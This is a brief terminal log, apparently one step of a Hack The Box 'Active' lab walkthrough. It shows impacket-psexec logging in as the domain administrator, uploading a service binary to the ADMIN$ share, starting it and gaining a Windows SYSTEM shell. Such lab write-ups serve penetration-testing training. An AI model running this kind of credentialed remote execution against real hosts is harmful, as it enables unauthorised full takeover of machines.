30-GetAdmin
➜  Active impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file KmjMUAzX.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service AqrD on 10.10.10.100.....
[*] Starting service AqrD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>